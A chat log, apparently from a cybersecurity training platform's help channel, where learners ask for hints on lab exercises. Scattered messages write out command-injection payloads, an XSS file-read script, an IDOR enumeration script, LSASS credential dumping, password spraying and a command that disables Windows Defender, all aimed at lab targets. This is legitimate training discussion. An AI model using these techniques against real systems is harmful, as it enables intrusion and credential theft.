by real time I just mean active chats and not forums where you have to wait for a reply lol

[fathom pendant]

it's still a shot in the dark brother :)

[fathom fjord]

Fair enough

[fathom pendant]

but better to ask and potentially get an answer than to never get an answer to a question that you don't ask

[fathom fjord]

Yeah I get what you mean

[fathom pendant]

but as stated: that question is not for this channel- so GL

[fathom fjord]

Ok

[solid sage]

👏🏻

[hasty solar]

Hi stuck on skills assesment from using web proxies, all the payloads are giving me the same response, anoyne knows why this happen?

[daring vortex]

Hi

[primal silo]

which question? it has 4

[hasty solar]

The third question

[acoustic owl]

This one?

Once you decode the cookie, you will notice that it is only 31 characters long, which appears to be an md5 hash missing its last character. So, try to fuzz the last character of the decoded md5 cookie with all alpha-numeric characters, while encoding each request with the encoding methods you identified above.

[neat sky]

hello all i am having issues with the skills assessment -File Inclusion I am having issues with poisoning logs sometimes when i send "posion" via user-agent it will return in the response, but as soon as i try to send php code + cmd commands in the url i get no response and it seems like the server is frozen. I have been stuck here for hours and well any help or hints are greatly appreciate thx

[primal silo]

Same is happening with me

[viscid terrace]

hi

am facing this issue

[elfin nacelle]

Module: Server Side Attacks
Section: SSRF Exploitation Example
Stuck for a couple days. I can not obtain an interactive shell. Can someone DM me please?

[primal silo]

dm me where u r stuck?

[slate shell]

Ey guys ,on the network enumeration with nmap ,which ip u using cuz all mine refusing

[analog tendon]

which ip are you using? and is the vpn connected?

[slate shell]

10.129.2.18

[analog tendon]

what error are you getting and is the vpn connected?

[slate shell]

It is connected, it just says all ports are scanned it it won't show nothing no matter which flags i use

[analog tendon]

youre in the enumeration section?

whats the command you are using?

[rustic sage]

or a screenshot 🙂

[slate shell]

Used the -A ,-O , -PE ,--disable-arp-ping

Only the ttl part is confusing me

[analog tendon]

and youre scanning all ports?

[slate shell]

Yes

[analog tendon]

-sS and -sU

[rustic sage]

yes. unfortunately poisoning logs is very risky and you can ruin the whole exploitation path... I think it took me 4-5 attempts before I got it working. I don't know a potential fix so you'll juts have to reset and try again

[neat sky]

so technically i am doing it right just getting extremely unlucky right lol?

[rustic sage]

I'm not sure what you're executing but tbh you're probably right and just unlucky😅 that section took me a bit of time as well

[neat sky]

im using burp to send the php code in the user agent field and adding the &cmd=id in the url after the .log file

[rustic sage]

you can dm me and I can check over your PHP code, but like I said most likely just unlucky

[urban anvil]

hi has anyone solved Password Attack Skill Assessment medium? I want to ask a doubt?

[rustic sage]

Hi all! Can someone help me with Firewall and IDS/IPS Evasion - Medium Lab (module of Basic Toolset)?

[sleek beacon]

information gathering

perform a curl request to the target website asking for a JSON output as this is more manageable for us to process

curl -s "https://crt.sh/?q=${var}&outp=json" | jq -r '.[]
| "\n(.name_value)\n(.common_name)"' | sort u > "${var}_crt.sh.txt"
sort: cannot read: u: No such file or directory
parse error: Invalid numeric literal at line 1, column 7

this command line gives somes errors, can some help me with this

[slate shell]

Can u dm me a screenshot of urs

[sleek beacon]

var is environment variable, it could be any website

[fathom pendant]

What is it you're having issues with?

[rustic sage]

I think I found clearly the DNS server version, but HTB is not accepting that answer...

[vital bough]

Can I DM anyone about the MIME filter bypass on File upload attacks?

[rustic sage]

Never mind, I found it!

[vivid jasper]

how can i mass dm and mass report someone?

[thorn urchin]

you dont, just msg mods with evidence of whats going on

[rustic sage]

could someone help with question 6 "Submit this user's cleartext password." of ad skill assessment 1? ||I dumped LSASS and use mimikatz sekurlsa::logonpasswords but nothing is in plaintext... I tried cracking the hash for the user but nothing comes up with rockyou||

[daring gust]

Can someone help me with Windows Privilege Escalation Miscellaneous Techniques module please?
I am able to escalate cli/ps to nt authority/system account.

I retrieved hashes using SAM and SYSTEM hives, tried to crack with JTR and hashcat, not all of them are cracked.
I used mimikatz also.
I was searching system using findstr.

I found some flags/passwords using techniques above but none of them is correct...

Please, tell me what should I focus on, which exact lesson can help me solve it or which techniques should I use to get that pass. I spent almost whole day on that task and no idea how to progress. I'd appreciate any help.

EDIT:
SOLVED. Omg that was really silly. Just study carefully this lesson 🙂

[rustic sage]

try something from impacket can also dm me if needed

[rustic sage]

are you still stuck?

[rustic sage]

I can try to help you 🙂

[slate shell]

Yeah i got the ports but no way of finding the operating system

[rustic sage]

dm me the module you're on, section, what you've tried

[slate shell]

Network enumeration with nmap, Host discovery

[rustic sage]

send me a dm @slate shell if you're getting errors screenshots will help

[last cape]

what is the best channel to ask for general help, not related to modules

[fathom pendant]

#1024429874246590575

[manic magnet]

Hey can someone help me with "Firewall and IDS/IPS Evasion - Hard Lab" in the Network Enumeration With Nmap. I am stuck with the Question:
Now our client wants to know if it is possible to find out the version of the running services. Identify the version of service our client was talking about and submit the flag as the answer. I already tried running TCP und UDP scans. Did a full scan of all ports. Also did Version Scans. Tried also to do some stealthy scans. I don't really know where I should find the flag. I also tried banner grabbing on all the ports found. One port on TCP seems interesting (not usual) but when I try to connect to it with netcat I get a timeout. Anyone can give me a hint into the right direction ?

[fathom pendant]

It is an unusual port: if you are having issues connecting to it, potentially the source of your port issues is the problem, reread the ids/IPS evasion section carefully

[manic magnet]

got it thanks

haha

❤️

[fathom pendant]

<3

[restive steppe]

Not as yet. I was advised to login with an email client using credentials i've found to read the email. I'm going to try it with the email that I found

[red current]

Need some hints on how to decode the base64 encode of the kdbx file I found in the password attacks hard lab. I tried using the base64decode.org site, but when I try using keepass2john against it, I get an error saying Unknown format: File signature invalid.

[rustic sage]

so I'm understanding you correctly, you found a kdbx file, you base64 encoded it, and now you're base64 decoding it to get it on our attack box?

[red current]

Yes, essentially. So, I decode it and then try to pass it through keepass2john and that's when I get the error.

[grand harbor]

do you know how to use the commands

[rustic sage]

before trying to decode it, check the md5 hash or sha hash to confirm the file is unchanged.

if you've already done File Transfers I believe it talks about base64 not being too reliable for bigger files. Therefore you should try another method 🙂

[red current]

Okay, will do. Thank you!

[restive steppe]

The IMAP commands? No, but I'm going to reread the module and look more carefully at the examples

[rustic sage]

bookmark this 😉 https://donsutherland.org/crib/imap

[restive steppe]

Thank you

[grand harbor]

You need to use internet

[restive steppe]

I started researching it last night but was tired so I decided to try again tonight

[grand harbor]

Its a pain in the aas

Ass

That module

[restive steppe]

Oh, i just have the last two questions to complete

but i feel like i need a lot of practice with this

[gusty zinc]

Question:

Web Attacks: Bypassing Basic Authentication, curling OPTIONS
For whatever reason - I cant get this to work. curl -i -X OPTIONS http://SERVER_IP:PORT/ I get a response from the server, but I DO NOT get hte Allow field in the response. Any ideas why?

[rustic sage]

is anyone available for AD Skill Assessment 2 question 4? ||I got a list of domain users and I think it's talking about password spraying but the tools I'm using are giving me weird output so not sure if the tool is wrong, I'm executing it wrong or if password spraying just isn't it ||

[tidal mango]

what are you using?

[rustic sage]

||crackmapexec and kerbrute through proxychains||

[tidal mango]

I was wondering if someone can validate the error I am running into. Attacking Enterprise Networks module, Web Enumeration & Exploitation module, on the wordpress section, when I go to login to http://ir.inlanefreight.local/wp-login.php I get a proxy error.

[tidal mango]

review this section -- Internal Password Spraying - from Windows

[worn forge]

Try to use an internal password sprying, theres a section where show how to do that

[worn forge]

Have u done the ACTIVE DIRECTORY ENUMERATION & ATTACKS module?

I need some help

[tidal mango]

Yes

[gusty zinc]

I'm going to go out on a limb here and state that this portion of the module is broken and doesnt work.

[worn forge]

Im on the Q10: Submit the contents of the flag.txt file on the Administrator desktop on the DC01 host.
Im lost

[red current]

I'm on the hard lab for Password Attacks and I was able to confirm that the base64 encode of the kdbx file is correct this time. However, when I use john to decrypt it after doing the base64 --decode, I still get the error of Unknown format : File signature invalid. Any clue why that would be?

[gusty zinc]

does anyone have the "web attacks" module in academy? I'd like a second check to ensure this issue is across multiple users and then I'll submit it for consideration to be fixed

[red current]

Sorry, I'm not there yet. Still beating my head against the wall with Password Attacks.

[tidal mango]

I'll DM you

[rustic sage]

can I dm you

[small sage]

~~Hi, I'm working through the file transfers module and the windows remote box keeps freezing within like a minute of spawning and the rdp session closes and I have to respawn the box, any ideas what I might be doing wrong?~~nevermind

[naive sky]

please i need help for XSS module

phising part iam stuck on that

its really ambigious

where is the VICTIM an whom is it?

[wheat garden]

Ya pm me if you need to

[naive sky]

Could i pm anyone please for this?

[red current]

Does this sound right? In the Password Attacks hard lab I found a password that starts with Q and ends in ! but I can't find where to use it.

[twilit cipher]

Holy moly! The Skills Assessment for AD Enumeration & Attacks - Skills Assessment Part II was a beast! But so fun!

[rustic sage]

you’re on the right track keeping going!

[red current]

Thank you! I'm just not sure where to use it because there are only two other users on this machine and it's not for either one.

[rustic sage]

you got that password from a certain password protected file maybe you should open the file with that password😉

[red current]

Ah, got it! Thank you for the hint!

[cloud coral]

Bro I have one doubt

+3 What is the name of the first section of this module? If you are using a translation solution while studying, please

disable it temporarily to enter the first section's name in English.

Tell the answer any one

[fathom pendant]

what module is this?

[cloud coral]

https://academy.hackthebox.com/module/15/section/33

Page no 3 go

[fathom pendant]

it's better to just say the name of the module

In the Table of Contents, what is the first item in that list

It is explained what a section is... in the Section titled "Sections"

[cloud coral]

Please tell answer bro

[zenith jay]

Module: Secure Coding 101
Section: Skills Assessment
If anyone has completed that and can help me with the /Reverse and /Patch questions, I would really appreciate any help! Can DM me!

[fathom pendant]

Read

[cloud coral]

Mm i am solved

@fathom pendant thanks

[hollow hinge]

Dm, if you still need help

[neat sky]

another user helped me i got the flag thx

[rustic sage]

I need some help with Footprinting medium lab, ||I have super admin's credentials and need to access the database but can't find the right tool to do so.|| Any nudge?

[acoustic owl]

Your Windows user A*** is not allowed to access the database.
You need another Windows user with which you can log in via RDP

[rustic sage]

I have credentials for sa, was able to get a shell too, I will try RDP first

[acoustic owl]

Some users are lazy and use the same password for multiple accounts 😉

[rustic sage]

thank you, I will try

[silk void]

Can pentesting also work with kali purple or is it only for defensive? Also, which one do you recommend more if the normal kali or the purple?

[acoustic arch]

After the configurations are transferred to the system, our client wants to know if it is possible to find out our target's DNS server version. Submit the DNS server version of the target as the answer. any one tell me how to solve this

[rustic sage]

Thank you for your help buddy. I came back to this challenge after a two month break and finally did it right.
Back in the good old days I had overcomplicated this way too much and now that I look back your solution is far more easier than mine.

[limpid hamlet]

Hello guys, i am currently doing the SNMP module and i am stuck on the last question. I have found the script but I don't understand how to run it then I can submit the output. Any hint ?

Thanks in advance !

[acoustic owl]

Which module, which section?

[acoustic owl]

Which module, which section?

[limpid hamlet]

SNMP module in footprinting section 🙂

[acoustic owl]

You can use || snmpwalk ||

[limpid hamlet]

actually I find it using this tool but don't know what to do next. Maybe I don't understand the question ? 🥲

[mortal basin]

🔥

Another awesome module by @dense ferry

[rustic sage]

Enumerate ||community strings and MIBs||, more could be found on that section, if you get stuck lmk.

[limpid hamlet]

OK thx guys, I will try harder

OK found it, I was not looking for the right thing

Thx for the help

[acoustic owl]

So many new modules, so little time🙈
Thanks @dense ferry for all the new modules. I am looking forward to benefit from your knowledge 🤩

[hardy smelt]

Hello,

I'm sorry for this noob question, but it's not clear for me and haven't found information on it...

What are the order of the modules in a path? In the first "Cracking into Hack the Box" path it has started the "web requests" module first and not the "getting started" module. I know I can manually pick it, but I was wondering If I choose a path then how should I know in what order I should go?

Thank you in advance!

[acoustic owl]

Simply start in a path with module 1 then 2 then 3, etc.

[hardy smelt]

so in idea they are already in order. For the "Cracking into Hack the Box" it feels a bit weird to don't start with the "Getting started" (in fact it's the last one). But try to follow it that way.

Thank you!

[acoustic owl]

In Getting Started you can use the knowledge from the Web Requests module.

[hardy smelt]

I see. 🙂 Thank you for clarifying it for me 🙂

[spare delta]

Hi, I am new to this platform and I wanted to get started with hacking, can someone please help me where to get started?

[acoustic owl]

https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[manic magnet]

Hey can anyone help me with this:
I have a general question regarding nmap: When we use IP spoofing to evade a firewall with for example a trusted IP address in the network how does nmap get the packets to know that other ports are open? Like in the example I looked at nmap found 2 open ports SSH and HTTP but when we spoofed the IP address (to a trusted one) nmap found also an FTP port open. The thing is how does nmap determine that? If we spoofed our ip address nmap shoudn't get back any packets etc.

[spiral timber]

So i have done a couple of modules and still need to do a lot but i have been practising with some machines i did bashed, lame and devel for bashed i needed a little bit of help for the root user but do any of you have any recommendations for some machines?

[brave palm]

Module: ACTIVE DIRECTORY ENUMERATION & ATTACKS
Section: Bleeding Edge Vulnerabilities
.
.
Task: "Apply what was taught in this section to gain a shell on DC01. Submit the contents of flag.txt located in the DailyTasks directory on the Administrator's desktop. "
.
I generated the DLL file via msfvenom.
I started the smbserver on my linux machine.
I started the metasploit listener.
When i execute the exploit i get an error, any idea on how to fix that? TIA :)

is there some kind of typo in my smbserver command?

[rustic sage]

Can anyone give me a nudge for footprinting hard lab?
||I tried imap-brute to find credentials but it failed, is it bruteforce or something else that I am missing?||

[rustic sage]

after you complete modules, some will recommend challenges and boxes to complete. For me, I'm going to also do the Active Directory 101 and Intro to Dante Tracks on HTB. People say Dante Pro Lab is a good practice to. If you have access to Endgames, this can help you with pivoting as well. Additionally, you may want to try Linux Privilege Escalation 101 Track. These are just suggestions though as all you really need is what is taught in the modules.

[spiral timber]

Thanks

[rustic sage]

tracks are a collection of challenges/boxes from the main platform (https://app.hackthebox.com/tracks). you can scroll through and if you think anything might be related and you try the track! You could probably just do Easy, Medium, Hard (skip Insane) and be okay

[rustic sage]

you can dm me

[spiral timber]

Thanks @rustic sage

[carmine lark]

Command Injection module
Find the output of the following command using one of the techniques you learned in this section: find /usr/share/ | grep root | grep mysql | tail -n 1

I've been stumped on this one for a while now and the results I get seems to be sending me deep into a rabbit hole that just makes no sense

So my first reaction was to encrypt the code above and passing it into a bash in burp like so
||%0abash<<<$(base64%09-d<<<ENCODED_COMMAND)||
and then I get wrong input promt, However if I encode a different command like "ls -la", it works perfectly. I've also tried reversing each and every word in the line individually but still no avail.

Does anyone know why some encoded commands works while other output "wrong input"

an oddity as well, Some commands stop working and requires a refresh to rectify

[dull ibex]

Intro to Windows command line - Skill Assessement

I am at the user9 where we need to use tasklist to find the flag but when I do the challenge and I try to enter all possible processes name, it returns "Incorrect Answer" and I'm stuck.

Can you help me ?
Thanks

[opal jewel]

Which of the routes that AutoRoute adds allows 172.16.5.19 to be reachable from the attack host? (Format: x.x.x.x/x.x.x.x) Format appears to just be Subnet/Netmaskt, none of the routes w/ respected subnets autoroutes add seems to be an answer. Or am I missing something?

[rustic sage]

could I get a nudge on ad skill assessment 2 question 6? ||I got the creds for the other user but they don't seem useful? I tried SMB on both servers (with both the first and second user), tried mssql, tried Snaffler on the RDP host, tried logging in with the creds over RDP||

[opaque niche]

what is the lab question?

[rustic sage]

Locate a configuration file containing an MSSQL connection string. What is the password for the user listed in this file?

[opaque niche]

With the user you found earlier B**, you can use|| smbmap|| and look for a ||configuration file||.

[worldly jewel]

Hey all, I wanted to share since I see many of you were struggling on the ptunnel-ng lab like me. Downloading from GitHub and running the script per the author's instructions causes a bunch of errors. Turns out you can download the ptunnel-ng binary through apt and then just use that.

[rustic sage]

I tried that but I get an authentication error - ||proxychains smbmap -u ... -p ... -d inlanefreight.local -H ...||

[opaque niche]

So you are looking at the wrong ip address

[rustic sage]

only 3 to choose from an I tried all 3 lol

they all throw Authentication Error on IP

[opaque niche]

That's weird, literally my command is ||smbmap -user -password -d domain -h ip --download 'path'||

[rustic sage]

could I DM you? ||I can't use --download yet as I don't know the shares lol||

[rustic sage]

ahhh... ||works with A not B tho||

wait nvm

the command works but can't access the shares

okay i reset and it works

[hasty solar]

I need help in skills assesment from sqlmap essenntials can't actually find where to inject my clause

utilizing slqmap

maybe have to fuzz for directories?

[rustic sage]

you can dm

[hasty solar]

thanks

[primal silo]

you can dm

[primal silo]

your command is correct i just tried it maybe you're not encoding the payload correctly

[rustic sage]

hello guys im in the module COMMAND INJECTIONS and im trying to do the exercise that tells: Use what you learned in this section find the content of flag.txt in the home folder of the user you previously found. when i put cat /home/flag.txt i give a error and i dont know how to bypass it, somebody can help me?

i spend 3 hours with this exercise

[worldly jewel]

Not sure if you got an answer or not. Windows Defender is deleting the DLL so you need to first disable it with ||Set-MpPreference -DisableRealTimeMonitoring $true||

Hey on the SocksOverRDP module, it doesn't appear the internal host is loading? 172.16.6.155

[rustic sage]

disable it through Windows Security

[topaz pewter]

Hi Guys, I may need some help for the Common Session Variables (Auth Bypass) module. I cannot find the reset.php files in the target.

[lime crystal]

hello guys need help
what to do when my facebook account forgot gmail cellphone number and password

[rustic sage]

not the place for this....

somebody know how can scape / character

[fathom pendant]

Because it's in the home folder of the user, /home/user/flag.txt read the question more carefully

[rustic sage]

i cant use / character

is in /flag.txt

[fathom pendant]

Put in a\ first

[rustic sage]

invalid input

[fathom pendant]

So\/flag.txt or double it

What is the directory you're trying to access

[rustic sage]

im in directory /var/www/html

i have to read the flag and its in directory / i think

but i cant execute ls /

because / character is in black list

[fathom pendant]

Then try doubling up the /

If you're doing directory traversal this way it would be similar, ....// As the sanitation method would remove an instance of "../" but leave the other

[rustic sage]

/ doesnt work

can i call you?

[fathom pendant]

No

[rustic sage]

im in COMMAND INJECTIONS
Page 8
Bypassing Blacklisted Commands
Bypassing Blacklisted Commands

[fathom pendant]

Perhaps looking at the techniques in the module and revisiting things may help

[rustic sage]

im looking at 3 houts

this is the solution

[tidal mango]

In the Attacking Enterprise Networks -- Web Enumeration & Exploitation section -- Under Dealing with The Unexpected There is javascript code that can be used to read files, <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText)}; x.open("GET","file:///etc/passwd"); x.send(); </script> I am supposed to find a flag and read it. Can someone give me a pointer on how to locate the flag I should read? Is there a way to get RCE here or a Shell? Thanks so much!

[steady hawk]

Did you read the section carefully? It tells you how to bypass it in "Bypassing Other Blacklisted Characters"
Also https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command Injection

[timid stirrup]

Hello 🙂
I am not sure if this is the right section but I am looking for help.
I am still at the starting point "Oopsie" from Tier2. Here is the walkthrough https://app.hackthebox.com/c11a813f-39b1-4de3-8c4e-138b9be9ad59
I am in the machine already via reverse shell but I am stuck creating the fake "cat" to escalate privileges (search for "We will navigate to /tmp directory and create a file named cat with the following content:" in the document to find it).
I am in the tmp directory but doing the ls command I can see that there is already a file called cat where I do not have permissions to edit it. I tried to chmod it to get privileges but of course I cannot.
Basically I tried doing "touch cat" and then write it via vim. I also tried to echo the content and output it in a file called cat but I have a privilege issue.
Can you help a poor noob?

[rustic sage]

could someone help me with "Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host" on AD Skill assessment 2? ||I got access to the MSSQL and even got RCE.. Can't read the flag though.. Not sure where else to go from here. I got the service hash through responder, but can't crack it with Hashcat||

[fathom pendant]

Oopsie is a box and can be asked for in #boxes

[rustic sage]

go here #starting-point instead of boxes

[fathom pendant]

Didn't know it was a #starting-point box

[rustic sage]

you're good😂 they said Tier 2 so I looked quickly and there it was

[fathom pendant]

Fair I just didn't know if other tracks had tiers

[opaque niche]

look for some attribute that a user has that can be used to escalate privileges

[primal silo]

do you know the name of the user from previous section?

[timid stirrup]

Thanks a lot! 🙂 It was solved from the guys at #starting-point 🙂

[rustic sage]

I already looked at ||impersonate no users show up. I also tried switching to sa but didn't really help||

[opaque niche]

You do not have to change the user, there are ||3 attributes that are enabled|| in the user, and therefore you can escalate privilege

[rustic sage]

I'm doing the XSS module and on the Phishing section when I try to do sudo nc -lvnp 80 to get the credentials from the form it says Failed to listen on 0.0.0.0:80 (reason: Address already in use) Is there another port I can listen too ? I'm not sure to understand

[autumn pilot]

if you are using pwnbox, then you must choose a different port

80 is occupied by another crucial service

[rustic sage]

could you elaborate or can we dm? I'm still struggling on this

[rustic sage]

and wich one should i use ?

yes im using de pwnbox

[autumn pilot]

whichever you choose

[heavy dome]

Hello mates! I have been stuck for several hours on this question in the Password Attack module: What is the default password of every newly created Inlanefreight Domain user account? I've found RDP access for Administrator ||B@bygirl10|| but not it's right way i think... you have a tips? THX

[autumn pilot]

once you find a script you will know

[pliant flame]

good evening.
Skills Assessment - Using Web Proxies
3rd question. Fuzzing the last character of the md5 hash.
I am using Intruder added the required payload processors (prefix and the encoders)
when i let the attack run i see no result that is different to the others.

now my question do i need to supply some user/pass or is my way of using Intruder completly wrong?

[rustic sage]

I get nothing when I run the php script and I can't find what I did wrong

[heavy dome]

OK i try

[autumn pilot]

there is a specific script for only this purpose

[heavy dome]

ok I found the answers to the last 2 questions THANK YOU!

[distant tinsel]

Anyway to decrease some of the latency I’m getting when I rdp into ad attacks and enum its like 20-30 seconds and making me mad

[past garden]

I'm having an issue with the Blacklist Filters too. It seems that none uploaded files executes the php .

[safe leaf]

you can DM me if you want, show me what screen shots you have of your payloads

[past garden]

thanks, I did

[jolly dagger]

Hey, I have a code reviewing interview coming up in multiple languages, Python, C, and JS. I was wondering which module would be most useful for this. I see Secure Coding 101:JS and Whitebox Pentesting that look to be particularly good. Anyone have any recommendations either here or somewhere else?

[rustic sage]

okay I'm progressing in AD Skill Assessment II however can I dm someone about question 8 an onward in DM? Don't want the answer just looking for clarification and confirm my methodology. Rather to dm to avoid spoilers

[jolly dagger]

The intro to AD one?

[rustic sage]

no this is AD Enum and Attacks

[jolly dagger]

How is that module?

[flint chasm]

Hi
Could you please help me with the last quest from DNS in Footprint module?

[acoustic owl]

You have to find all the zones.

[flint chasm]

Yes I got it with dig

but idk what i'm doing wrong with dnsenum

it's not working, I made the string with all info but the output is like --help

[regal summit]

Hello Dune here , new kid on the block

struggling with the first module ( will look back at some stage and laugh about this)

[acoustic owl]

If you want, you can send me the command by DM. Then I will have a look at it.

[flint chasm]

it will be great 🙂

[flint chasm]

I sent

[acoustic owl]

Which is the first module? It varies depending on the path.
If you want help, always say which module, which section and which question you need help with.

[regal summit]

Spawn your target!
Spawn My Workstation if you haven't done so.
From your workstation, open Firefox and browse to the target URL.
Answer the question below.

dont quiet understand what target / my workstation is that the parrot/kali instance ?

[fathom pendant]

What module

[regal summit]

Interactive Section with Target

intro

[fathom pendant]

Target is the button that says "spawn target", the workstation is the pwnbox instance or your vm

[regal summit]

TY

[fathom pendant]

Did you read the intro sections at all?

It's all fairly well explained per section

[regal summit]

hi yes I did but as im new to this....

[knotty blade]

im on this but stuck in the same spot smh

[fathom pendant]

It's literally explained though, unless English isn't your first language

[rustic sage]

someone around for this

[regal summit]

I speak english , dutch and Xhosa

[spiral timber]

are you dutch

[regal summit]

I can fix a car , wire your house , and have some other skills IT is not my day job

[fathom pendant]

Ok, then it's reading comprehension :) that happens a lot with modules

[regal summit]

No African

[spiral timber]

ahh

[fathom pendant]

It's not mine either

And when it was, it wasn't at this level

I just sent parts out

[regal summit]

it is comprehension , simple things over thought ie: what is the name of the first module is it a Path then a Module or are they litteraly asking what is the first module called ,or am I over thinking this ?

[fathom pendant]

The module is the main thing it's talking about (i.e. intro to academy) a section is a small part of that module that talks about a more specific thing. The "Path" is just a collection and recommended order of things.

[regal summit]

ok thought so , just tried to answer question one witht hat exact answer but says its incorrect

[regal summit]

TY ,tried Path / tried Module _1

[acoustic owl]

These are just examples.
What is the question?

[regal summit]

What is the name of the first section of this module? If you are using a translation solution while studying, please disable it temporarily to enter the first section's name in English.

[acoustic owl]

Okay, look in the Table of Content

[regal summit]

Ty

it was so simple Thank you , my slight dyslexia during typing doesnt help

[acoustic owl]

Just don't get discouraged. You will get better every day you train.

[regal summit]

TY

[gusty zinc]

can anyone assist me with module web attacks, section bypassing encoded references please?

the closing module section - I can get the get request to hit the server bu tno file download ever actually occurs

[knotty quest]

Have you tried it with curl? Don't remember any traps with this one, should just work.

[gusty zinc]

i cant tell whats actually going on here - it appears to be just a get request ? I'm not seeing any additional post occuring

I have mocked it up in python, get request works and i get back a header with the file name, but thats it. No actual file is there to download.

HTTP/1.1 200 OK
Date: Tue, 21 Mar 2023 23:34:29 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Description: File Transfer
Cache-Control: no-cache, must-revalidate
Expires: 0
Content-Disposition: attachment; filename="contract_c4ca4238a0b923820dcc509a6f75849b.pdf"
Content-Length: 0
Pragma: public
Connection: close
Content-Type: application/pdf

[fathom pendant]

looks like it's just the header

[gusty zinc]

yeah, thats all i get back

[fathom pendant]

have you actually tried using curl?

[gusty zinc]

is there supposed to be a post request that occurs somewhere?

[fathom pendant]

that looks like the curl -I command

[gusty zinc]

curl also comes back blank on my end

[fathom pendant]

what about just wget

[rustic sage]

anyone free for AD Skill Assessment II? 10. Crack this user's password hash and submit the cleartext password as your answer. ||I've used mimikatz, dumped lsass, and even got sam/security/system and I see a logon session for this user in lsass but their hash isn't there. Any ideas?||

[gusty zinc]

my command looks like this: curl -soJ -X POST -d "contract=6f4922f45568161a8cdf4ad2299f6d23" http://209.xx.129.xx:xxxx/download.php

also interesting - when I download the contract from the web portal - its 0 bytes

[knotty quest]

Try it with a get request ||download.php?contract=.....|| post works as well but can't remember the url

[gusty zinc]

same issue im afraid

[knotty quest]

what does your new command look like?

[gusty zinc]

import requests, re, base64, urllib.parse

url = "xxx.xxx.xxx.xxx:xxxx/download.php?contract="
for i in range(20):
    uid = str(i)
    b64 = base64.b64encode(uid.encode("ascii"))
    turl = 'http://'+ url + urllib.parse.quote(b64)
    print(turl)
    x = requests.get('http://'+ url + urllib.parse.quote(b64), allow_redirects=True)
    print(x.text, x.headers, x.content)

or in burp with just a normal get request, its also blank

initated via web browser

when you clicked on the contracts > employment contract in the web gui - was the file it downloaded 0 bytes?

[knotty quest]

From memory they all should be blank except the one with the flag

[gusty zinc]

even using the provided curl script - i get nothing

do you recall if you modified that script any

[knotty quest]

Just quickly ran through the exercise again, works fine for me, what are you using for the script? How many pdf's are you getting?

[gusty zinc]

if i run the default provided script - just replace wiht my instances IP address, i get nothing back

#!/bin/bash

for i in {1..10}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
    done
done

no files in the working directory should i say

[knotty quest]

should be checking for 20 id's, not 10, i'll DM you what i used, you need to modify it

[rustic sage]

anyone? ||I reset the box thinking this was a mistake and now they don't appear at all in lsass so I'm thinking there is another intended way ||

[regal summit]

Good morning , im on this module ,Directory Fuzzing, and am in an open terminal on htb ,have seen fuff is installed , following procedure but not sure what to do

[naive sky]

relly so sad

no bady response till know 😢

[hasty solar]

U can dm if u want

[flat pewter]

Where is the Laudanum aspx web shell located on Pwnbox? Submit the full path. (Format: /path/to/laudanum/aspx)

any idea what is happening here. I get the location but it says incorrect

anyone able to get through it

[autumn pilot]

it could be that you are looking at a symlink

[naive sky]

is there any idea to do cd /home

ip=127.0.0.1%0a%09{cd,${PATH:0:1}}${home}

[flat pewter]

I am looking at the Pwnbox. hope this is correct.

[autumn pilot]

if you tell me from which module and section was that, I could be more helpful

[autumn pilot]

with command injections you don't necessarily need to switch your working directory

[naive sky]

Sorry what do you mean?

[flat pewter]

Laudanum, One Webshell To Rule Them All from shells & payloads

[autumn pilot]

have you managed to look at the hint for the webshell

[median phoenix]

could anyone help me on file upload attacks skill assessment

[grand harbor]

Use the cracked password of the user Kira, log in to the host, and read the Notes.zip file containing the flag. Then, submit the flag as the answer. anyone that may help me with this one, i have used rockyou, mut.passlist, password.list, top 1000000 passwords.

and made a custom wordlist for the ssh password of kira

[rustic sage]

if this is password attacks you only need the user, password, and mutated rules they’ve provided. I also believe this is the one with the hint you should read that and maybe you get an initial foothold

[grand harbor]

yes i is the one from password attacks, i have the zip and used al lists from the resources

[rustic sage]

hellou im trying to do the module command-injections skills assesment

can somebody help me please?

[austere osprey]

Hi guys, I'm interesting why on the penetration tester path you have the XSS module but not the Server-side Attacks module?

It came to me out of nowhere and now I'm worried to miss such good modules that aren't on the penetration tester path..

[fierce island]

Can I get a nudge with the Fingerprinting: DNS final question about FQDN of .203, been stuck a little too long 😅

[foggy sierra]

i built a new idea i want to try it come onnn

[cinder mortar]

do u mean foot printing?

[fierce island]

Yes sorry, brain fart

[cinder mortar]

u need to perform subdomain bruteforcing to find it

[fierce island]

Yea

[cinder mortar]

it could be a subdomain of a subdomain

[fierce island]

Can I DM you? I feel like I’ve been trying what you suggest

[cinder mortar]

sure

[ruby saddle]

.

[rustic sage]

Can I get some assistance with footprinting hard lab?
||I unable to attack SNMP and I keep getting timeouts. I can see DHCP but can't make any sense of it as it wasn't covered in the module.||

[rustic sage]

nothing is stopping you from taking the Server-Side Attacks and other modules before CPTS

[rustic sage]

you can dm

[rustic sage]

you can dm me

[manic magnet]

Anyone having problems also with spawning target machines ?
(stuck on Target is spawning)

[livid bluff]

Hi,
There is a problem with the website for spawn a target or it's just me ?

[livid quest]

Same for me ...

[rustic sage]

I just spawned a lab no problem

[livid bluff]

At the same time @manic magnet here the same.

[manic magnet]

yeah xD

[livid quest]

reminds me of the old times AOL advertisments on TV "Last week i was on the internet loading a website, ... i'm still loading."

[sly reef]

Web attacks, chaining IDOR. Uid mismatch although i literally have the admin info

Any tip?

Nvm im idiot

[glass pecan]

reload the page, sometimes it happens to me

[livid quest]

reloaded it about 10 times ... sill nothing happening

[glass pecan]

thats weird

[summer lava]

i'm having the same problem

[rustic sage]

I just cracked it with the provided resources within the module. Double check your commands 😉

[rustic sage]

could try logging out clearing cache/cookies

[glass pecan]

is anyone having problems brute forcing the password for jason on attacking common services smb?

am using the resources provide by the module, but it wont find anything

is there a way to change crackmapexec smb to smb2 ?

[foggy sierra]

still down ?

[manic magnet]

yeah

[summer lava]

Why the box aren't spawning ?

[shy crystal]

yeah

[livid quest]

hmm even restarting the browser, cleaning out the chache and rebooting computer did nothing

[foggy sierra]

its a server side problem

[glass pecan]

dam you reboot the pc XD next level of trouble shooting XD

[shy crystal]

I took a look and it seems its the server side problem, the API response is always: {"success":0,"message":"No active VMs."} even though the spawn request gives us: {"success":1}

[rustic sage]

I just recompleted the section so if you need help feel free to dm. Can confirm though all you need is the provided resources

[livid quest]

